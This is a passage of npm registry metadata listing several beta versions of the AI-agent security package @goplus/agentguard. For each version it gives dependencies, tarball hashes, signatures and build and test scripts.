action evaluation, trust registry.","directories":{},"_nodeVersion":"24.21.0","dependencies":{"zod":"3.25.76","glob":"13.0.6","open":"10.2.0","yaml":"2.9.0","axios":"1.14.0","croner":"10.0.1","commander":"12.1.0","@modelcontextprotocol/sdk":"1.29.0"},"_hasShrinkwrap":false,"readmeFilename":"README.md","devDependencies":{"typescript":"5.7.3","@types/node":"22.19.15","@anthropic-ai/mcpb":"2.1.2"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.2.2-beta.1_1791431615813_0.5112397135532003","host":"s3://npm-registry-packages-npm-production"}},"1.2.2-beta.2":{"name":"@goplus/agentguard","version":"1.2.2-beta.2","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.2.2-beta.2","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/cli.js","agentguard-mcp":"dist/mcp-server.js"},"dsh":{"bundle":{"patch":"./dsh.cordis.patch.yml"}},"dist":{"shasum":"d5ceee2c09bd2e1d0e39a69a58b2b0e8bee49cf9","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.2.2-beta.2.tgz","fileCount":501,"integrity":"sha512-hP+Y7prdmfRoIpBkLLCBw4aETuvv1rKrb111MfL2zs70btmekFob6qg7GQ4Nxvx/f++RGuK4hm4DhS36PyUE9Q==","signatures":[{"sig":"MEUCIGlRLRnit/S/R2APUNI+LkS4/u/m2KPb+HTcX5pFMdoJAiEAjHsmXKeZWdrYsS0D12NmNaGmBczDaxb6pQd6/hSkNhQ=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIGeoN/QBUhdEwSoIWJwLY9nbKmLjt8A7svYwDEoUYuJ6AiEA8+3JPhgMUqgDgOafD6nYtI+YfTzIFGkTFHAsNGairu4=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":3040252},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"5de7c28bff6919ca6f6f6d9c352c9342c7799ae2","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","clean":"node -e \"require('node:fs').rmSync('dist', { recursive: true, force: true })\"","start":"node dist/mcp-server.js","prebuild":"npm run clean","build:mcpb":"bash scripts/build-mcpb.sh","postinstall":"node dist/postinstall.js || true","test:dsh-e2e":"node scripts/test-dsh-plugin-e2e.mjs","benchmark:dsh":"node scripts/dsh-benchmark.mjs","prepublishOnly":"npm run build","test:cloud-live":"node --test dist/tests/cloud-live.test.js","test:dsh-package":"node scripts/test-dsh-package.mjs","test:dsh-protect":"node scripts/test-dsh-runtime-protect.mjs","test:dsh-approval":"node scripts/test-dsh-native-approval.mjs","test:privacy-live":"node --test dist/tests/privacy-jev-live.test.js","test:dsh-lifecycle":"node scripts/test-dsh-plugin-lifecycle.mjs","benchmark:dsh:update":"node scripts/dsh-benchmark.mjs --update","test:dsh-post-enforcement":"node scripts/test-dsh-post-enforcement.mjs"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"openclaw":{"extensions":["./dist/openclaw.js"],"runtimeExtensions":["./dist/openclaw.js"]},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"12.0.2","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.","directories":{},"_nodeVersion":"24.21.0","dependencies":{"zod":"3.25.76","glob":"13.0.6","open":"10.2.0","yaml":"2.9.0","axios":"1.14.0","croner":"10.0.1","commander":"12.1.0","@modelcontextprotocol/sdk":"1.29.0"},"_hasShrinkwrap":false,"readmeFilename":"README.md","devDependencies":{"typescript":"5.7.3","@types/node":"22.19.15","@anthropic-ai/mcpb":"2.1.2"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.2.2-beta.2_1791620032090_0.3452628343455768","host":"s3://npm-registry-packages-npm-production"}},"1.2.2-beta.4":{"name":"@goplus/agentguard","version":"1.2.2-beta.4","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.2.2-beta.4","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/cli.js","agentguard-mcp":"dist/mcp-server.js"},"dsh":{"bundle":{"patch":"./dsh.cordis.patch.yml"}},"dist":{"shasum":"c88cb019ae38a689d65260a21b136e6e80940e00","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.2.2-beta.4.tgz","fileCount":501,"integrity":"sha512-MIn5LXyX6PT7NovcxqZPUjoA1Ottx810P29ejlyYDjpZFMYirb9xp2Fnj0dQztoABchQlM7S5oLKbqLjUh+o1w==","signatures":[{"sig":"MEYCIQDmkJIk+pRHqx9Xl8cA0P+PAkcJhNpRDUUNzNQSjds2qgIhAKI5EEojxKfbwuxO4xJZOH1LE45ozDIrmodaOc8dv9ws","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEYCIQD1+tHKbSM9YkSGZHbRdhLA4FH4bix0Zk6kM2YuvVIxEQIhAJgVwWc7anCuZxvTnwe0WvwQGJJ5pC+LhGOy7bTamFVV","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":3044179},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"073853b616a6eb20ed4f8a979d1dac92180ed904","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","clean":"node -e \"require('node:fs').rmSync('dist', { recursive: true, force: true })\"","start":"node dist/mcp-server.js","prebuild":"npm run clean","build:mcpb":"bash scripts/build-mcpb.sh","postinstall":"node dist/postinstall.js || true","test:dsh-e2e":"node scripts/test-dsh-plugin-e2e.mjs","benchmark:dsh":"node scripts/dsh-benchmark.mjs","prepublishOnly":"npm run build","test:cloud-live":"node --test dist/tests/cloud-live.test.js","test:dsh-package":"node scripts/test-dsh-package.mjs","test:dsh-protect":"node scripts/test-dsh-runtime-protect.mjs","test:dsh-approval":"node scripts/test-dsh-native-approval.mjs","test:privacy-live":"node --test dist/tests/privacy-jev-live.test.js","test:dsh-lifecycle":"node scripts/test-dsh-plugin-lifecycle.mjs","benchmark:dsh:update":"node scripts/dsh-benchmark.mjs --update","test:dsh-post-enforcement":"node scripts/test-dsh-post-enforcement.mjs"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"openclaw":{"extensions":["./dist/openclaw.js"],"runtimeExtensions":["./dist/openclaw.js"]},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"12.0.2","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.","directories":{},"_nodeVersion":"24.21.0","dependencies":{"zod":"3.25.76","glob":"13.0.6","open":"10.2.0","yaml":"2.9.0","axios":"1.14.0","croner":"10.0.1","commander":"12.1.0","@modelcontextprotocol/sdk":"1.29.0"},"_hasShrinkwrap":false,"readmeFilename":"README.md","devDependencies":{"typescript":"5.7.3","@types/node":"22.19.15","@anthropic-ai/mcpb":"2.1.2"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.2.2-beta.4_1791777747630_0.31817331004354","host":"s3://npm-registry-packages-npm-production"}},"1.2.2-beta.5":{"name":"@goplus/agentguard","version":"1.2.2-beta.5","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.2.2-beta.5","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/cli.js","agentguard-mcp":"dist/mcp-server.js"},"dsh":{"bundle":{"patch":"./dsh.cordis.patch.yml"}},"dist":{"shasum":"8407a01eb3797a8dd9b36ac9ba25907b0a9be630","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.2.2-beta.5.tgz","fileCount":505,"integrity":"sha512-R3/pJoQcwHnGP3ZafCxSoi0vbbabZpINk0O1dH4Zzm6EEOAt3UsjxMKG+f7V9P5lzNXVdqFhWnAUgxDmmI+2Gg==","signatures":[{"sig":"MEUCIQCQbUVaDNm4zlVE6WifeBsSAP+SK2KjmmiNHs4JUonBvwIgeyZ65rIdQPyEefH152ccl5K5+W1FPPn4RR7W7ry1XmE=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEYCIQDiRASnDbrpa0uQdJDhXbKeJ5sPKZU5iLmboYaBW8acNwIhAI5mr9oaOpV2i/UKRVGOkx8sYvqHqsdvVEqR52aiIj92","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":3096572},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"1978708e765dc81717f2416e64c1c1a64332db1c","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","clean":"node -e \"require('node:fs').rmSync('dist', { recursive: true, force: true })\"","start":"node dist/mcp-server.js","prebuild":"npm run clean","build:mcpb":"bash scripts/build-mcpb.sh","postinstall":"node dist/postinstall.js || true","test:dsh-e2e":"node scripts/test-dsh-plugin-e2e.mjs","benchmark:dsh":"node scripts/dsh-benchmark.mjs","prepublishOnly":"npm run build","test:cloud-live":"node --test dist/tests/cloud-live.test.js","test:dsh-package":"node scripts/test-dsh-package.mjs","test:dsh-protect":"node scripts/test-dsh-runtime-protect.mjs","test:dsh-approval":"node scripts/test-dsh-native-approval.mjs","test:privacy-live":"node --test dist/tests/privacy-jev-live.test.js","test:dsh-lifecycle":"node scripts/test-dsh-plugin-lifecycle.mjs","benchmark:dsh:update":"node scripts/dsh-benchmark.mjs --update","test:dsh-post-enforcement":"node scripts/test-dsh-post-enforcement.mjs"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"openclaw":{"extensions":["./dist/openclaw.js"],"runtimeExtensions":["./dist/openclaw.js"]},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"12.0.2","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.","directories":{},"_nodeVersion":"24.21.0","dependencies":{"zod":"3.25.76","glob":"13.0.6","open":"10.2.0","yaml":"2.9.0","axios":"1.14.0","croner":"10.0.1","commander":"12.1.0","@modelcontextprotocol/sdk":"1.29.0"},"_hasShrinkwrap":false,"readmeFilename":"README.md","devDependencies":{"typescript":"5.7.3","@types/node":"22.19.15","@anthropic-ai/mcpb":"2.1.2"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.2.2-beta.5_1791973162197_0.2766964991541587","host":"s3://npm-registry-packages-npm-production"}},"1.2.2-beta.6":{"name":"@goplus/agentguard","version":"1.2.2-beta.6","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.2.2-beta.6","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/cli.js","agentguard-mcp":"dist/mcp-server.js"},"dsh":{"bundle":{"patch":"./dsh.cordis.patch.yml"}},"dist":{"shasum":"0348d66630124eb6a97e565434f3de394ec9bd65","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.2.2-beta.6.tgz","fileCount":505,"integrity":"sha512-9NbHgsn83QTZ7n1dlu2Btf6rX7vWrmpPrUAVOCmvpUJAcC4OzkKezyqLg6uNf2kdO3Ycz8A3/cXaN+JCdh0ruQ==","signatures":[{"sig":"MEUCIQDeKcekMWNlT38Q6NnU0pcUvok+trni872NMZcvo//SKQIgL0JLTuzqtQkqmrSqCkB4qCXJh+Y5DupYzTUpuVW88xs=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIQCrN8DVHdJQ9cg3yJxQFdnvC2eY+4m4m51sMvOT7lrwZAIgUqWvR1pF6XRL9QcUdfTUnsFIYKYsKEzdDvw0e/QFXps=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":3098836},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"4531845a7078f46a4b42fbfb2a0dfb2f17134913","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","clean":"node -e \"require('node:fs').rmSync('dist', { recursive: true, force: true })\"","start":"node dist/mcp-server.js","prebuild":"npm run clean","build:mcpb":"bash scripts/build-mcpb.sh","postinstall":"node dist/postinstall.js || true","test:dsh-e2e":"node scripts/test-dsh-plugin-e2e.mjs","benchmark:dsh":"node scripts/dsh-benchmark.mjs","prepublishOnly":"npm run build","test:cloud-live":"node --test dist/tests/cloud-live.test.js","test:dsh-package":"node scripts/test-dsh-package.mjs","test:dsh-protect":"node scripts/test-dsh-runtime-protect.mjs","test:dsh-approval":"node scripts/test-dsh-native-approval.mjs","test:privacy-live":"node --test dist/tests/privacy-jev-live.test.js","test:dsh-lifecycle":"node scripts/test-dsh-plugin-lifecycle.mjs","benchmark:dsh:update":"node scripts/dsh-benchmark.mjs --update","test:dsh-post-enforcement":"node scripts/test-dsh-post-enforcement.mjs"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"openclaw":{"extensions":["./dist/openclaw.js"],"runtimeExtensions":["./dist/openclaw.js"]},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"12.0.2","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.","directories":{},"_nodeVersion":"24.21.0","dependencies":{"zod":"3.25.76","glob":"13.0.6","open":"10.2.0","yaml":"2.9.0","axios":"1.14.0","croner":"10.0.1","commander":"12.1.0","@modelcontextprotocol/sdk":"1.29.0"},"_hasShrinkwrap":false,"readmeFilename":"README.md","devDependencies":{"typescript":"5.7.3","@types/node":"22.19.15","@anthropic-ai/mcpb":"2.1.2"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.2.2-beta.6_1792050018225_0.6489067645595237","host":"s3://npm-registry-packages-npm-production"}},"1.2.2-beta.7":{"name":"@goplus/agentguard","version":"1.2.2-beta.7","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.2.2-beta.7","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/cli.js","agentguard-mcp":"dist/mcp-server.js"},"dsh":{"bundle":{"patch":"./dsh.cordis.patch.yml"}},"dist":{"shasum":"c308c04dcbe39e83bebf4ee041b135fa2fdafdee","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.2.2-beta.7.tgz","fileCount":505,"integrity":"sha512-P+qQZOjICeTshM5O9hInVSUw/PmtcZFe5IGYJwmGSXamOE52B3Iiv3bbuVZVPhzAIVugSjtCG//pVDSvzCyL2Q==","signatures":[{"sig":"MEQCIHFWBaOFMHYB4Gnbpf6vJnmTwXj6jr94P8ttNRwLUL3dAiA4vZkjFOJ8GQ3ak92fW4g6Rwja5zk/h9DCiGlMY2JheQ==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIQD+Y3LampEwmzsWiOA0keZz9NHIxOWbZqVutsaVwaoX9AIgBayaO2V5dCTJljuvxTrbCqCGvC2QdluQA8bU8IiCFrs=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":3109250},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"a51cb22cc239447a539a2a558f8a5f077af2db25","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","clean":"node -e \"require('node:fs').rmSync('dist', { recursive: true, force: true })\"","start":"node dist/mcp-server.js","prebuild":"npm run clean","build:mcpb":"bash scripts/build-mcpb.sh","postinstall":"node dist/postinstall.js || true","test:dsh-e2e":"node scripts/test-dsh-plugin-e2e.mjs","benchmark:dsh":"node scripts/dsh-benchmark.mjs","prepublishOnly":"npm run build","test:cloud-live":"node --test dist/tests/cloud-live.test.js","test:dsh-package":"node scripts/test-dsh-package.mjs","test:dsh-protect":"node scripts/test-dsh-runtime-protect.mjs","test:dsh-approval":"node scripts/test-dsh-native-approval.mjs","test:privacy-live":"node --test dist/tests/privacy-jev-live.test.js","test:dsh-lifecycle":"node scripts/test-dsh-plugin-lifecycle.mjs","benchmark:dsh:update":"node scripts/dsh-benchmark.mjs --update","test:dsh-post-enforcement":"node scripts/test-dsh-post-enforcement.mjs"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"openclaw":{"extensions":["./dist/openclaw.js"],"runtimeExtensions":["./dist/openclaw.js"]},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"12.0.2","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.","directories":{},"_nodeVersion":"24.21.0","dependencies":{"zod":"3.25.76","glob":"13.0.6","open":"10.2.0","yaml":"2.9.0","axios":"1.14.0","croner":"10.0.1","commander":"12.1.0","@modelcontextprotocol/sdk":"1.29.0"},"_hasShrinkwrap":false,"readmeFilename":"README.md","devDependencies":{"typescript":"5.7.3","@types/node":"22.19.15","@anthropic-ai/mcpb":"2.1.2"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.2.2-beta.7_1792122596012_0.5938998225234369","host":"s3://npm-registry-packages-npm-production"}},"1.2.4-beta.1":{"name":"@goplus/agentguard","version":"1.2.4-beta.1","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.2.4-beta.1","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/cli.js","agentguard-mcp":"dist/mcp-server.js"},"dsh":{"bundle":{"patch":"./dsh.cordis.patch.yml"}},"dist":{"shasum":"1a3b7e1fa7594087bef61bd3d23622fe071d0bb5","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.2.4-beta.1.tgz","fileCount":510,"integrity":"sha512-uQBUe6PcyJ6enCKdiFz0hYbJpUNYlh1nI5+Cy9Zua2MKvaCIGsBly7rOeiWy0jtoKikepnHhbzHT/9LgvkRPTA==","signatures":[{"sig":"MEUCIDk44qTiDpvosDbj3ocIxjbsYFyGEkcrnse79vfg5UxeAiEAi9oREBjv+gupr0U/w9jxGHYR9HExRqk0Tr0PhrIE/Ow=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEYCIQD9XlCDbtUH2SVbomAif49EtaWQPqb1R9Gzd2FUnf+lRQIhAPFIaDh+Vjf2smFF5f7INQ+xbi1TFrWz1MFLOgRTWYU+","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":3166909},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"6accba3f60725a7500eb3fa5f53661dd8c29a91c","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","clean":"node -e \"require('node:fs').rmSync('dist', { recursive: true, force: true })\"","start":"node dist/mcp-server.js","prebuild":"npm run clean","build:mcpb":"bash scripts/build-mcpb.sh","postinstall":"node dist/postinstall.js || true","test:dsh-e2e":"node scripts/test-dsh-plugin-e2e.mjs","benchmark:dsh":"node scripts/dsh-benchmark.mjs","prepublishOnly":"npm run build","test:cloud-live":"node --test dist/tests/cloud-live.test.js","test:dsh-package":"node scripts/test-dsh-package.mjs","test:dsh-protect":"node scripts/test-dsh-runtime-protect.mjs","test:dsh-approval":"node scripts/test-dsh-native-approval.mjs","test:privacy-live":"node --test dist/tests/privacy-jev-live.test.js","test:dsh-lifecycle":"node scripts/test-dsh-plugin-lifecycle.mjs","benchmark:dsh:update":"node scripts/dsh-benchmark.mjs --update","test:dsh-post-enforcement":"node scripts/test-dsh-post-enforcement.mjs"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"openclaw":{"extensions":["./dist/openclaw.js"],"runtimeExtensions":["./dist/openclaw.js"]},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"12.0.2","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.","directories":{},"_nodeVersion":"24.21.0","dependencies":{"zod":"3.25.76","glob":"13.0.6","open":"10.2.0","yaml":"2.9.0","axios":"1.14.0","croner":"10.0.1","commander":"12.1.0","@modelcontextprotocol/sdk":"1.29.0"},"_hasShrinkwrap":false,"readmeFilename":"README.md","devDependencies":{"typescript":"5.7.3","@types/node":"22.19.15","@anthropic-ai/mcpb":"2.1.2"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.2.4-beta.1_1792168544208_0.5196027675094466","host":"s3://npm-registry-packages-npm-production"}},"1.2.4-beta.2":{"name":"@goplus/agentguard","version":"1.2.4-beta.2","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.2.4-beta.2","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/cli.js","agentguard-mcp":"dist/mcp-server.js"},"dsh":{"bundle":{"patch":"./dsh.cordis.patch.yml"}},"dist":{"shasum":"2b1690d40ac2fea15878bef19c239cf757751bb7","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.2.4-beta.2.tgz","fileCount":510,"integrity":"sha512-ulKGM/HIC4swHxuBmKZsQtd3+bG+YFgNrTE2treQSQhbusZPGjj7atkaMndCFAlHwwokYC/t8iv0Asi9RMCbjg==","signatures":[{"sig":"MEQCIHgwMFTBNCyoTGmOFc7akpQ6Hxy6j4Q8jJmCk6FSskSJAiB9AH7pK48FbkKy6Atuo4IbVgZhz5HWzCTi6mKJaHq1mA==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIQD9m60NpNyoUQmRYuoAd4RylxqRa7Z8OzqToJwCQ2N88wIgK78tHPWMfBOp2u5O8IKK5urAWJ2oiWa4Hb/Lb/3vIyw=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":3175334},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"c19ef1f814112f120c05ff072db2122e875bc009","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","clean":"node -e \"require('node:fs').rmSync('dist', { recursive: true, force: true })\"","start":"node dist/mcp-server.js","prebuild":"npm run clean","build:mcpb":"bash scripts/build-mcpb.sh","postinstall":"node dist/postinstall.js || true","test:dsh-e2e":"node scripts/test-dsh-plugin-e2e.mjs","benchmark:dsh":"node scripts/dsh-benchmark.mjs","prepublishOnly":"npm run build","test:cloud-live":"node --test dist/tests/cloud-live.test.js","test:dsh-package":"node scripts/test-dsh-package.mjs","test:dsh-protect":"node scripts/test-dsh-runtime-protect.mjs","test:dsh-approval":"node scripts/test-dsh-native-approval.mjs","test:privacy-live":"node --test dist/tests/privacy-jev-live.test.js","test:dsh-lifecycle":"node scripts/test-dsh-plugin-lifecycle.mjs","benchmark:dsh:update":"node scripts/dsh-benchmark.mjs --update","test:dsh-post-enforcement":"node scripts/test-dsh-post-enforcement.mjs"},"_npmUser":{"name":"goplussecurity","email":"service@gopluslabs.io"},"openclaw":{"extensions":["./dist/openclaw.js"],"runtimeExtensions":["./dist/openclaw.js"]},"repository":{"url":"git+https://github.com/GoPlusSecurity/agentguard.git","type":"git"},"_npmVersion":"12.0.2","description":"GoPlus AgentGuard — Security guard for AI agents. Blocks dangerous commands, prevents data leaks, protects secrets. 20 detection rules, runtime action evaluation, trust registry.","directories":{},"_nodeVersion":"24.21.0","dependencies":{"zod":"3.25.76","glob":"13.0.6","open":"10.2.0","yaml":"2.9.0","axios":"1.14.0","croner":"10.0.1","commander":"12.1.0","@modelcontextprotocol/sdk":"1.29.0"},"_hasShrinkwrap":false,"readmeFilename":"README.md","devDependencies":{"typescript":"5.7.3","@types/node":"22.19.15","@anthropic-ai/mcpb":"2.1.2"},"_npmOperationalInternal":{"tmp":"tmp/agentguard_1.2.4-beta.2_1792214853563_0.6864029358239583","host":"s3://npm-registry-packages-npm-production"}},"1.2.4-beta.3":{"name":"@goplus/agentguard","version":"1.2.4-beta.3","keywords":["claude-code-skill","agent-skills","mcp","security","ai-agent","web3","goplus","claude-code","codex","scanner","trust-registry","hooks"],"author":{"name":"GoPlusSecurity"},"license":"MIT","_id":"@goplus/agentguard@1.2.4-beta.3","maintainers":[{"name":"goplussecurity","email":"service@gopluslabs.io"}],"homepage":"https://github.com/GoPlusSecurity/agentguard#readme","bugs":{"url":"https://github.com/GoPlusSecurity/agentguard/issues"},"bin":{"agentguard":"dist/cli.js","agentguard-mcp":"dist/mcp-server.js"},"dsh":{"bundle":{"patch":"./dsh.cordis.patch.yml"}},"dist":{"shasum":"801b287c6f4a515ea4621abc5ac34a9521763fe7","tarball":"https://registry.npmjs.org/@goplus/agentguard/-/agentguard-1.2.4-beta.3.tgz","fileCount":510,"integrity":"sha512-J1/qXT6l0ND5g/1MzlzfbFZYNp4+7kA36BJzFzxDqvHm1VMRMBsNCL9zDTFpskd94u9wIIzY3YgphleGauj6Jw==","signatures":[{"sig":"MEYCIQDrPzp8hdt881cS045n6Zu1wYhVxqSbb8oEoVQv+6jEggIhAKL1vO4sqwORT6cTraLSMG8eTXTNNFOtrjraCM4la0DK","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEQCIDZQrk2FzUFVfATbZ5ymuNg3cxCzjhRW+GFZ8IC+XFNyAiArqvgpyJJ5u8kdJiWRmDN5v/mVoIfGGwYvBpfqF2O6kw==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":3132992},"main":"dist/index.js","types":"dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"45e2969ef42bf3971cc596c2eae5ad3f074a966c","scripts":{"dev":"tsc -w","test":"node --test dist/tests/*.test.js","build":"tsc","clean":"node -e \"require('node:fs').rmSync('dist', { recursive: true, force: true })\"","start":"node dist/mcp-server.js","prebuild":"npm run clean","build:mcpb":"bash scripts/build-mcpb.sh","postinstall":"node dist/postinstall.js || true","test:dsh-e2e":"node scripts/test-dsh-plugin-e2e.mjs","benchmark:dsh":"node scripts/dsh-benchmark.mjs","prepublishOnly":"npm run build","test:cloud-live":"node --test dist/tests/cloud-live.test.js","test:dsh-package":"node scripts/test-dsh-package.mjs","test:dsh-protect":"node scripts/test-dsh-runtime-protect.mjs","test:dsh-approval":"node scripts/test-dsh-native-approval.mjs","test:privacy-live":"node --test dist/tests/privacy-jev-live.test.js","test:dsh-lifecycle":"node scripts/test-dsh-plugin-lifecycle.mjs","benchmark:dsh:update":"node scripts/dsh-benchmark.mjs --update","test:dsh-post-enforcement":"node 